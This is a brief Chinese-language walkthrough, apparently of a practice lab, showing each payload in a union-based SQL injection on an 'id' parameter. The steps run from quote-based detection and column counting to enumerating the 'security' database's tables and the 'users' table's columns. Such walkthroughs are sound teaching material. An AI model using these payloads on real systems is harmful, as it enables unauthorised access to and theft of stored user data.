id=1 页面正常,考虑是否有字符注入
id=1'我们加上单引号,可以看到有错误提示
id=1' --+我们加上--+注释,页面正常,可以判断存在单引号的注入
id=-1' group by 5 --+ 接下来我们猜解字段,可以看到3之前都是回显错误,确认了有三个字段(id为负值会使前面语句失效)
id=-1' union select 1,2,3 --+ 可以确认回显位是2,3位
id=-1' union select 1,database(),3 --+ 使用database()确认数据库名为"security"
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ 获取security数据库下面的所有表
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name ='users' --+ 获取users表的字段
’